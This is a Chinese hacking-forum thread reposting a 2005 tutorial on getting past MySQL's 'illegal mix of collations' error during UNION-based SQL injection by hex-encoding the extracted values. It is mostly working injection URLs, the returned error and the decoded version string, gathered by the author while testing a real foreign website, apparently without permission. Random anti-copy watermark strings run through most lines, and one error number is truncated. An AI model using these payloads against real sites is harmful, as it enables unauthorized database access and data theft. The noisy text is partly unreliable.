找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2198|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei
% D0 l" c5 T) _- K文章性质:原创
% k+ N2 E- w7 O8 c) @$ U发布日期:2005-10-18
4 E  p: X8 ?' S, u' a0 c$ H& F4 A' C测试个国外的站时:
, R4 O. a5 q, d3 i' F2 @# eurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
& }) F$ l1 c7 T/ E- L) F: }返回错误:" `$ T' G/ T' o+ H/ q
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
! y/ [4 u! R6 hMySQL Error No. 126$ w' r1 k+ B' O! G
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
4 X: C" s1 x4 N& |, i# L解决办法:转为其他编码如hex。- b" C  Q& W: M+ r0 f# C. n3 H, r
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
; A, P! t. ^( J5 [: k+ A成功得到hex(version())的值为:
: f* \5 A, P. P" z0 b342E312E332D62657461
; ?: w6 ?3 H' @2 v% i! u" v, }2 Z回Mysql查询下得到:- z; j. d/ }$ x! q
mysql> select 0x342E312E332D62657461;
7 S- x" a2 s6 Y% [$ _' g+------------------------+& u! A9 A( G4 q5 O
| 0x342E312E332D62657461 |6 x, `& v5 v4 }* g' ~
+------------------------+
  y8 |1 ~2 \( u, T| 4.1.3-beta |. ?+ @& W. C; I2 W+ W
+------------------------+% p8 |6 H5 e! H7 S0 Y- }6 M4 J& b
1 row in set (0.00 sec)
, o+ U! Z. L6 q7 ?; N' q7 ]  l) v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表